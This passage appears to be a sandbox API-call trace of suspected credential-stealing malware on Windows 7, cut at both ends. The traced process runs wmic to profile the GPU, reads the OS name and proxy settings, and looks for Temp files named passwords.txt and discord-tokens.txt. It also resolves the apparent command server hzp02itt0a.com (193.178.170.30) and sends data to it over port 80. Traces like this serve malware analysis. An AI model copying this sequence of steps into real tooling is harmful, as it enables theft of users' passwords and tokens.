ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xfd50fc30, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x8a400)) returned 1 [0149.882] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0xc0000568f0, nSize=0x64 | out: lpBuffer="") returned 0x35 [0149.882] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\Wbem\\wmic.exe" (normalized: "c:\\windows\\system32\\wbem\\wmic.exe"), fInfoLevelId=0x0, lpFileInformation=0xc00019f2e0 | out: lpFileInformation=0xc00019f2e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5694022d, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x5694022d, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xfd50fc30, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x8a400)) returned 1 [0149.882] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000001, hTemplateFile=0x0) returned 0x190 [0149.883] GetConsoleMode (in: hConsoleHandle=0x190, lpMode=0xc00019f70c | out: lpMode=0xc00019f70c) returned 0 [0149.886] GetFileType (hFile=0x190) returned 0x2 [0149.886] VirtualAlloc (lpAddress=0xc0000e0000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000e0000 [0149.887] CreatePipe (in: hReadPipe=0xc00019f760, hWritePipe=0xc00019f768, lpPipeAttributes=0xc00019f770, nSize=0x0 | out: hReadPipe=0xc00019f760*=0x198, hWritePipe=0xc00019f768*=0x194) returned 1 [0149.887] GetEnvironmentStringsW () returned 0x2cdf20* [0149.887] VirtualAlloc (lpAddress=0xc0000e2000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000e2000 [0149.888] VirtualAlloc (lpAddress=0xc0000e4000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000e4000 [0149.888] VirtualAlloc (lpAddress=0xc0000e6000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000e6000 [0149.889] VirtualAlloc (lpAddress=0xc0000e8000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000e8000 [0149.889] VirtualAlloc (lpAddress=0xc0000ea000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000ea000 [0149.890] VirtualAlloc (lpAddress=0xc0000ec000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000ec000 [0149.890] VirtualAlloc (lpAddress=0xc0000ee000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000ee000 [0149.891] VirtualAlloc (lpAddress=0xc0000f0000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000f0000 [0149.891] FreeEnvironmentStringsW (penv=0x2cdf20) returned 1 [0149.891] VirtualAlloc (lpAddress=0xc0000f2000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000f2000 [0149.892] VirtualAlloc (lpAddress=0xc0000f4000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000f4000 [0149.892] RtlGetNtVersionNumbers () returned 0x778c5160 [0149.892] GetCurrentProcess () returned 0xffffffffffffffff [0149.892] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x190, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xc000095a88, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0xc000095a88*=0x144) returned 1 [0149.892] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x194, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xc000095a90, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0xc000095a90*=0x19c) returned 1 [0149.893] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x194, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xc000095a98, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0xc000095a98*=0x1a0) returned 1 [0149.893] InitializeProcThreadAttributeList (in: lpAttributeList=0x0, dwAttributeCount=0x2, dwFlags=0x0, lpSize=0xc00019f498 | out: lpAttributeList=0x0, lpSize=0xc00019f498) returned 0 [0149.893] InitializeProcThreadAttributeList (in: lpAttributeList=0xc0000a63c0, dwAttributeCount=0x2, dwFlags=0x0, lpSize=0xc00019f498 | out: lpAttributeList=0xc0000a63c0, lpSize=0xc00019f498) returned 1 [0149.893] UpdateProcThreadAttribute (in: lpAttributeList=0xc0000a63c0, dwFlags=0x0, Attribute=0x20002, lpValue=0xc000095a88, cbSize=0x18, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0xc0000a63c0, lpPreviousValue=0x0) returned 1 [0149.893] VirtualAlloc (lpAddress=0xc0000f6000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000f6000 [0149.894] VirtualAlloc (lpAddress=0xc0000f8000, dwSize=0x6000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000f8000 [0149.894] VirtualAlloc (lpAddress=0xc000206000, dwSize=0x6000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000206000 [0149.895] CreateProcessW (in: lpApplicationName="C:\\Windows\\System32\\Wbem\\wmic.exe", lpCommandLine="wmic path win32_VideoController get name", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80400, lpEnvironment=0xc000206000, lpCurrentDirectory=0x0, lpStartupInfo=0xc00019f6b8*(cb=0x70, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x144, hStdOutput=0x19c, hStdError=0x1a0), lpProcessInformation=0xc00019f598 | out: lpCommandLine="wmic path win32_VideoController get name", lpProcessInformation=0xc00019f598*(hProcess=0x1b0, hThread=0x1a4, dwProcessId=0xfd8, dwThreadId=0xfdc)) returned 1 [0149.913] CloseHandle (hObject=0x1a4) returned 1 [0149.913] DeleteProcThreadAttributeList (in: lpAttributeList=0xc0000a63c0 | out: lpAttributeList=0xc0000a63c0) [0149.914] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x1a0, hTargetProcessHandle=0x0, lpTargetHandle=0x0, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x1 | out: lpTargetHandle=0x0) returned 1 [0149.914] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x19c, hTargetProcessHandle=0x0, lpTargetHandle=0x0, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x1 | out: lpTargetHandle=0x0) returned 1 [0149.914] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x144, hTargetProcessHandle=0x0, lpTargetHandle=0x0, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x1 | out: lpTargetHandle=0x0) returned 1 [0149.914] SetEvent (hEvent=0xcc) returned 1 [0149.914] CloseHandle (hObject=0x190) returned 1 [0149.915] CancelIoEx (hFile=0x194, lpOverlapped=0x0) returned 0 [0149.915] CloseHandle (hObject=0x194) returned 1 [0149.915] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0xffffffff) returned 0x0 [0153.156] GetExitCodeProcess (in: hProcess=0x1b0, lpExitCode=0xc00019f8cc | out: lpExitCode=0xc00019f8cc*=0x0) returned 1 [0153.178] GetProcessTimes (in: hProcess=0x1b0, lpCreationTime=0xc00016d460, lpExitTime=0xc00016d468, lpKernelTime=0xc00016d470, lpUserTime=0xc00016d478 | out: lpCreationTime=0xc00016d460, lpExitTime=0xc00016d468, lpKernelTime=0xc00016d470, lpUserTime=0xc00016d478) returned 1 [0153.366] CloseHandle (hObject=0x1b0) returned 1 [0153.725] SetEvent (hEvent=0xcc) returned 1 [0154.559] VirtualAlloc (lpAddress=0xc0001c8000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0001c8000 [0154.612] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x1, phkResult=0xc00019faf0 | out: phkResult=0xc00019faf0*=0x194) returned 0x0 [0154.614] RegQueryValueExW (in: hKey=0x194, lpValueName="ProductName", lpReserved=0x0, lpType=0xc00019fa3c, lpData=0xc00019fac0, lpcbData=0xc00019fa38*=0x40 | out: lpType=0xc00019fa3c*=0x1, lpData="Windows 7 Professional", lpcbData=0xc00019fa38*=0x2e) returned 0x0 [0154.664] RegCloseKey (hKey=0x194) returned 0x0 [0154.771] VirtualAlloc (lpAddress=0xc0001ca000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0001ca000 [0155.695] VirtualAlloc (lpAddress=0xc0001cc000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0001cc000 [0156.039] GetEnvironmentVariableW (in: lpName="HTTP_PROXY", lpBuffer=0xc0001375f0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0156.041] GetEnvironmentVariableW (in: lpName="http_proxy", lpBuffer=0xc0001376c0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0156.041] GetEnvironmentVariableW (in: lpName="HTTPS_PROXY", lpBuffer=0xc000137790, nSize=0x64 | out: lpBuffer="") returned 0x0 [0156.041] GetEnvironmentVariableW (in: lpName="https_proxy", lpBuffer=0xc000137860, nSize=0x64 | out: lpBuffer="") returned 0x0 [0156.041] GetEnvironmentVariableW (in: lpName="NO_PROXY", lpBuffer=0xc000137930, nSize=0x64 | out: lpBuffer="") returned 0x0 [0156.041] GetEnvironmentVariableW (in: lpName="no_proxy", lpBuffer=0xc000137a00, nSize=0x64 | out: lpBuffer="") returned 0x0 [0156.041] GetEnvironmentVariableW (in: lpName="REQUEST_METHOD", lpBuffer=0xc000137ad0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0157.442] SetEvent (hEvent=0xbc) returned 1 [0158.017] WaitForSingleObject (hHandle=0xa0, dwMilliseconds=0xffffffff) returned 0x0 [0158.217] GetQueuedCompletionStatusEx (in: CompletionPort=0x1a8, lpCompletionPortEntries=0x28f2d8, ulCount=0x10, ulNumEntriesRemoved=0x28f2ac, dwMilliseconds=0x7522, fAlertable=0 | out: lpCompletionPortEntries=0x28f2d8, ulNumEntriesRemoved=0x28f2ac) returned 1 [0162.199] WSAGetOverlappedResult (in: s=0x1bc, lpOverlapped=0xc000106d68, lpcbTransfer=0x28f2a8, fWait=0, lpdwFlags=0x28f2b4 | out: lpcbTransfer=0x28f2a8, lpdwFlags=0x28f2b4) returned 1 [0162.220] SetEvent (hEvent=0xe8) returned 1 [0162.221] GetProcAddress (hModule=0x7feffa10000, lpProcName="setsockopt") returned 0x7feffa1dd30 [0162.221] setsockopt (s=0x1bc, level=65535, optname=28688, optval="¼\x01", optlen=8) returned 0 [0162.222] SetEvent (hEvent=0xb0) returned 1 [0162.222] GetProcAddress (hModule=0x7feffa10000, lpProcName="getsockname") returned 0x7feffa19480 [0162.222] getsockname (in: s=0x1bc, name=0xc0000b0fac, namelen=0xc0000b0fa8 | out: name=0xc0000b0fac*(sa_family=2, sin_port=0xc00a, sin_addr="192.168.0.96"), namelen=0xc0000b0fa8) returned 0 [0162.223] GetProcAddress (hModule=0x7feffa10000, lpProcName="getpeername") returned 0x7feffa3e450 [0162.223] getpeername (in: s=0x1bc, name=0xc0000b0fac, namelen=0xc0000b0fa8 | out: name=0xc0000b0fac*(sa_family=2, sin_port=0x50, sin_addr="34.117.186.192"), namelen=0xc0000b0fa8) returned 0 [0162.289] setsockopt (s=0x1bc, level=6, optname=1, optval="\x01", optlen=4) returned 0 [0162.311] setsockopt (s=0x1bc, level=65535, optname=8, optval="\x01", optlen=4) returned 0 [0162.311] WSAIoctl (in: s=0x1bc, dwIoControlCode=0x98000004, lpvInBuffer=0xc0000b11ec, cbInBuffer=0xc, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0xc0000b11d4, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0xc0000b11d4, lpOverlapped=0x0) returned 0 [0162.335] VirtualAlloc (lpAddress=0xc000280000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000280000 [0162.757] SetEvent (hEvent=0xbc) returned 1 [0162.921] VirtualAlloc (lpAddress=0x0, dwSize=0x40000, flAllocationType=0x3000, flProtect=0x4) returned 0x1d50000 [0163.287] VirtualAlloc (lpAddress=0xc000282000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000282000 [0163.390] VirtualAlloc (lpAddress=0xc000284000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000284000 [0163.706] GetProcAddress (hModule=0x7feffa10000, lpProcName="WSASend") returned 0x7feffa113b0 [0163.706] WSASend (in: s=0x1bc, lpBuffers=0xc000106da8*=((len=0x5a, buf=0xc000281000*)), dwBufferCount=0x1, lpNumberOfBytesSent=0xc000106d98, dwFlags=0x0, lpOverlapped=0xc000106d68, lpCompletionRoutine=0x0 | out: lpNumberOfBytesSent=0xc000106d98*=0x5a, lpOverlapped=0xc000106d68) returned 0 [0163.710] SetEvent (hEvent=0xbc) returned 1 [0163.710] WaitForSingleObject (hHandle=0xa0, dwMilliseconds=0xffffffff) returned 0x0 [0164.917] WaitForSingleObject (hHandle=0xa0, dwMilliseconds=0xffffffff) returned 0x0 [0165.630] GetQueuedCompletionStatusEx (in: CompletionPort=0x1a8, lpCompletionPortEntries=0x28f2d8, ulCount=0x10, ulNumEntriesRemoved=0x28f2ac, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x28f2d8, ulNumEntriesRemoved=0x28f2ac) returned 0 [0165.631] GetQueuedCompletionStatusEx (in: CompletionPort=0x1a8, lpCompletionPortEntries=0x28f2d8, ulCount=0x10, ulNumEntriesRemoved=0x28f2ac, dwMilliseconds=0x15e3a, fAlertable=0 | out: lpCompletionPortEntries=0x28f2d8, ulNumEntriesRemoved=0x28f2ac) returned 1 [0171.977] GetQueuedCompletionStatusEx (in: CompletionPort=0x1a8, lpCompletionPortEntries=0x28f2d8, ulCount=0x10, ulNumEntriesRemoved=0x28f2ac, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x28f2d8, ulNumEntriesRemoved=0x28f2ac) returned 0 [0171.978] GetQueuedCompletionStatusEx (in: CompletionPort=0x1a8, lpCompletionPortEntries=0x28f2d8, ulCount=0x10, ulNumEntriesRemoved=0x28f2ac, dwMilliseconds=0x751f, fAlertable=0 | out: lpCompletionPortEntries=0x28f2d8, ulNumEntriesRemoved=0x28f2ac) returned 1 [0172.998] WSAGetOverlappedResult (in: s=0x1d8, lpOverlapped=0xc0003325e8, lpcbTransfer=0x28f2a8, fWait=0, lpdwFlags=0x28f2b4 | out: lpcbTransfer=0x28f2a8, lpdwFlags=0x28f2b4) returned 1 [0173.020] SetEvent (hEvent=0xe8) returned 1 [0173.020] setsockopt (s=0x1d8, level=65535, optname=28688, optval="Ø\x01", optlen=8) returned 0 [0173.020] SetEvent (hEvent=0xbc) returned 1 [0173.021] getsockname (in: s=0x1d8, name=0xc000372fac, namelen=0xc000372fa8 | out: name=0xc000372fac*(sa_family=2, sin_port=0xc00b, sin_addr="192.168.0.96"), namelen=0xc000372fa8) returned 0 [0173.021] getpeername (in: s=0x1d8, name=0xc000372fac, namelen=0xc000372fa8 | out: name=0xc000372fac*(sa_family=2, sin_port=0x50, sin_addr="193.178.170.30"), namelen=0xc000372fa8) returned 0 [0173.063] setsockopt (s=0x1d8, level=6, optname=1, optval="\x01", optlen=4) returned 0 [0173.087] setsockopt (s=0x1d8, level=65535, optname=8, optval="\x01", optlen=4) returned 0 [0173.090] WSAIoctl (in: s=0x1d8, dwIoControlCode=0x98000004, lpvInBuffer=0xc0003731ec, cbInBuffer=0xc, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0xc0003731d4, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0xc0003731d4, lpOverlapped=0x0) returned 0 [0173.143] VirtualAlloc (lpAddress=0xc0001d6000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0001d6000 [0173.455] WSARecv (in: s=0x1d8, lpBuffers=0xc000332558, dwBufferCount=0x1, lpNumberOfBytesRecvd=0xc000332548, lpFlags=0xc0003325c8*=0x0, lpOverlapped=0xc000332518, lpCompletionRoutine=0x0 | out: lpBuffers=0xc000332558*=((len=0x1000, buf=0xc0000cd000*)), lpNumberOfBytesRecvd=0xc000332548*=0x0, lpFlags=0xc0003325c8*=0x0, lpOverlapped=0xc000332518) returned 0 [0173.456] GetQueuedCompletionStatusEx (in: CompletionPort=0x1a8, lpCompletionPortEntries=0x28f2d8, ulCount=0x10, ulNumEntriesRemoved=0x28f2ac, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x28f2d8, ulNumEntriesRemoved=0x28f2ac) returned 0 [0173.459] GetQueuedCompletionStatusEx (in: CompletionPort=0x1a8, lpCompletionPortEntries=0x28f2d8, ulCount=0x10, ulNumEntriesRemoved=0x28f2ac, dwMilliseconds=0x72f0, fAlertable=0 | out: lpCompletionPortEntries=0x28f2d8, ulNumEntriesRemoved=0x28f2ac) returned 1 [0173.807] WSAGetOverlappedResult (in: s=0x1d8, lpOverlapped=0xc000332518, lpcbTransfer=0x28f2a8, fWait=0, lpdwFlags=0x28f2b4 | out: lpcbTransfer=0x28f2a8, lpdwFlags=0x28f2b4) returned 1 [0173.868] VirtualAlloc (lpAddress=0xc000286000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000286000 [0174.307] SetEvent (hEvent=0xcc) returned 1 [0174.308] SetEvent (hEvent=0xe8) returned 1 [0174.308] GetFileAttributesExW (in: lpFileName="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\passwords.txt" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\passwords.txt"), fInfoLevelId=0x0, lpFileInformation=0xc00019ea80 | out: lpFileInformation=0xc00019ea80*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0174.321] CreateFileW (lpFileName="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\passwords.txt" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\passwords.txt"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0174.322] VirtualAlloc (lpAddress=0xc000288000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000288000 [0174.323] GetAddrInfoW (in: pNodeName="hzp02itt0a.com", pServiceName=0x0, pHints=0xc000377f40*(ai_flags=0, ai_family=0, ai_socktype=1, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0xc000377e78 | out: ppResult=0xc000377e78*=0x1db6340*(ai_flags=0, ai_family=2, ai_socktype=1, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x1db6380*(sa_family=2, sin_port=0x0, sin_addr="193.178.170.30"), ai_next=0x0)) returned 0 [0174.369] FreeAddrInfoW (pAddrInfo=0x1db6340*(ai_flags=0, ai_family=2, ai_socktype=1, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x1db6380*(sa_family=2, sin_port=0x0, sin_addr="193.178.170.30"), ai_next=0x0)) [0174.369] SetEvent (hEvent=0xbc) returned 1 [0174.369] WSASocketW (af=2, type=1, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x81) returned 0x1e4 [0174.370] CreateIoCompletionPort (FileHandle=0x1e4, ExistingCompletionPort=0x1a8, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x1a8 [0174.370] SetFileCompletionNotificationModes (FileHandle=0x1e4, Flags=0x3) returned 1 [0174.372] bind (s=0x1e4, addr=0xc000012a2c*(sa_family=2, sin_port=0x0, sin_addr="0.0.0.0"), namelen=16) returned 0 [0174.373] ConnectEx (in: s=0x1e4, name=0xc000012a0c*(sa_family=2, sin_port=0x50, sin_addr="193.178.170.30"), namelen=16, lpSendBuffer=0x0, dwSendDataLength=0x0, lpdwBytesSent=0x0, lpOverlapped=0xc000066868 | out: lpdwBytesSent=0x0) returned 0 [0174.374] WaitForSingleObject (hHandle=0xa0, dwMilliseconds=0xffffffff) returned 0x0 [0174.527] WaitForSingleObject (hHandle=0xa0, dwMilliseconds=0xffffffff) returned 0x0 [0174.663] WaitForSingleObject (hHandle=0xa0, dwMilliseconds=0xffffffff) returned 0x0 [0174.712] GetQueuedCompletionStatusEx (in: CompletionPort=0x1a8, lpCompletionPortEntries=0x28f2d8, ulCount=0x10, ulNumEntriesRemoved=0x28f2ac, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x28f2d8, ulNumEntriesRemoved=0x28f2ac) returned 0 [0174.712] GetQueuedCompletionStatusEx (in: CompletionPort=0x1a8, lpCompletionPortEntries=0x28f2d8, ulCount=0x10, ulNumEntriesRemoved=0x28f2ac, dwMilliseconds=0x7530, fAlertable=0 | out: lpCompletionPortEntries=0x28f2d8, ulNumEntriesRemoved=0x28f2ac) returned 1 [0174.784] WSAGetOverlappedResult (in: s=0x1f4, lpOverlapped=0xc000066d68, lpcbTransfer=0x28f2a8, fWait=0, lpdwFlags=0x28f2b4 | out: lpcbTransfer=0x28f2a8, lpdwFlags=0x28f2b4) returned 1 [0174.784] SetEvent (hEvent=0xe8) returned 1 [0174.785] setsockopt (s=0x1f4, level=65535, optname=28688, optval="ô\x01", optlen=8) returned 0 [0174.785] SetEvent (hEvent=0xcc) returned 1 [0174.785] getsockname (in: s=0x1f4, name=0xc000298fac, namelen=0xc000298fa8 | out: name=0xc000298fac*(sa_family=2, sin_port=0xc00e, sin_addr="192.168.0.96"), namelen=0xc000298fa8) returned 0 [0174.785] getpeername (in: s=0x1f4, name=0xc000298fac, namelen=0xc000298fa8 | out: name=0xc000298fac*(sa_family=2, sin_port=0x50, sin_addr="193.178.170.30"), namelen=0xc000298fa8) returned 0 [0174.785] setsockopt (s=0x1f4, level=6, optname=1, optval="\x01", optlen=4) returned 0 [0174.786] setsockopt (s=0x1f4, level=65535, optname=8, optval="\x01", optlen=4) returned 0 [0174.786] WSAIoctl (in: s=0x1f4, dwIoControlCode=0x98000004, lpvInBuffer=0xc0002991ec, cbInBuffer=0xc, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0xc0002991d4, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0xc0002991d4, lpOverlapped=0x0) returned 0 [0174.786] VirtualAlloc (lpAddress=0xc000382000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000382000 [0174.787] WSARecv (in: s=0x1f4, lpBuffers=0xc000066cd8, dwBufferCount=0x1, lpNumberOfBytesRecvd=0xc000066cc8, lpFlags=0xc000066d48*=0x0, lpOverlapped=0xc000066c98, lpCompletionRoutine=0x0 | out: lpBuffers=0xc000066cd8*=((len=0x1000, buf=0xc000381000*)), lpNumberOfBytesRecvd=0xc000066cc8*=0x0, lpFlags=0xc000066d48*=0x0, lpOverlapped=0xc000066c98) returned 0 [0174.788] WSASend (in: s=0x1f4, lpBuffers=0xc000066da8*=((len=0x14e, buf=0xc000382000*)), dwBufferCount=0x1, lpNumberOfBytesSent=0xc000066d98, dwFlags=0x0, lpOverlapped=0xc000066d68, lpCompletionRoutine=0x0 | out: lpNumberOfBytesSent=0xc000066d98*=0x14e, lpOverlapped=0xc000066d68) returned 0 [0174.788] GetQueuedCompletionStatusEx (in: CompletionPort=0x1a8, lpCompletionPortEntries=0x28f2d8, ulCount=0x10, ulNumEntriesRemoved=0x28f2ac, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x28f2d8, ulNumEntriesRemoved=0x28f2ac) returned 0 [0174.788] GetQueuedCompletionStatusEx (in: CompletionPort=0x1a8, lpCompletionPortEntries=0x28f2d8, ulCount=0x10, ulNumEntriesRemoved=0x28f2ac, dwMilliseconds=0x15345, fAlertable=0 | out: lpCompletionPortEntries=0x28f2d8, ulNumEntriesRemoved=0x28f2ac) returned 1 [0174.836] WSAGetOverlappedResult (in: s=0x1f4, lpOverlapped=0xc000066c98, lpcbTransfer=0x28f2a8, fWait=0, lpdwFlags=0x28f2b4 | out: lpcbTransfer=0x28f2a8, lpdwFlags=0x28f2b4) returned 1 [0174.836] SetEvent (hEvent=0xcc) returned 1 [0174.836] SetEvent (hEvent=0xe8) returned 1 [0174.837] GetFileAttributesExW (in: lpFileName="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\discord-tokens.txt" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\discord-tokens.txt"), fInfoLevelId=0x0, lpFileInformation=0xc00019ea80 | out: lpFileInformation=0xc00019ea80*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0174.837] CreateFileW (lpFileName="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\discord-tokens.txt" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\discord-tokens.txt"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0174.837] VirtualAlloc (lpAddress=0xc00029a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00029a000 [0174.838] VirtualAlloc (lpAddress=0xc00029c000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00029c000 [0174.839] GetAddrInfoW (in: pNodeName="hzp02itt0a.com", pServiceName=0x0, pHints=0xc0002a1f40*(ai_flags=0, ai_family=0, ai_socktype=1, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0xc0002a1e78 | out: ppResult=0xc0002a1e78*=0x1db6400*(ai_flags=0, ai_family=2, ai_socktype=1, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x1db6440*(sa_family=2, sin_port=0x0, sin_addr="193.178.170.30"), ai_next=0x0)) returned 0 [0174.844] FreeAddrInfoW (pAddrInfo=0x1db6400*(ai_flags=0, ai_family=2, ai_socktype=1, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x1db6440*(sa_family=2, sin_port=0x0, sin_addr="193.178.170.30"), ai_next=0x0)) [0174.844] SetEvent (hEvent=0xbc) returned 1 [0174.845] WSASocketW (af=2, type=1, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x81) returned 0x1f8 [0174.845] CreateIoCompletionPort (FileHandle=0x1f8, ExistingCompletionPort=0x1a8, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x1a8 [0174.848] SetFileCompletionNotificationModes (FileHandle=0x1f8, Flags=0x3) returned 1 [0174.848] bind (s=0x1f8, addr=0xc000012fcc*(sa_family=2, sin_port=0x0, sin_addr="0.0.0.0"), namelen=16) returned 0 [0174.848] ConnectEx (in: s=0x1f8, name=0xc000012fac*(sa_family=2, sin_port=0x50, sin_addr="193.178.170.30"), namelen=16, lpSendBuffer=0x0, dwSendDataLength=0x0, lpdwBytesSent=0x0, lpOverlapped=0xc000066fe8 | out: lpdwBytesSent=0x0) returned 0 [0174.849] WaitForSingleObject (hHandle=0xa0, dwMilliseconds=0xffffffff) returned 0x0 [0174.994] WaitForSingleObject (hHandle=0xa0, dwMilliseconds=0xffffffff) returned 0x0 [0175.053] WaitForSingleObject (hHandle=0xa0, dwMilliseconds=0xffffffff) returned 0x0 [0175.154] GetQueuedCompletionStatusEx (in: CompletionPort=0x1a8, lpCompletionPortEntries=0x28f2d8, ulCount=0x10, ulNumEntriesRemoved=0x28f2ac, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x28f2d8, ulNumEntriesRemoved=0x28f2ac) returned 0 [0175.154] GetQueuedCompletionStatusEx (in: CompletionPort=0x1a8, lpCompletionPortEntries=0x28f2d8, ulCount=0x10, ulNumEntriesRemoved=0x28f2ac, 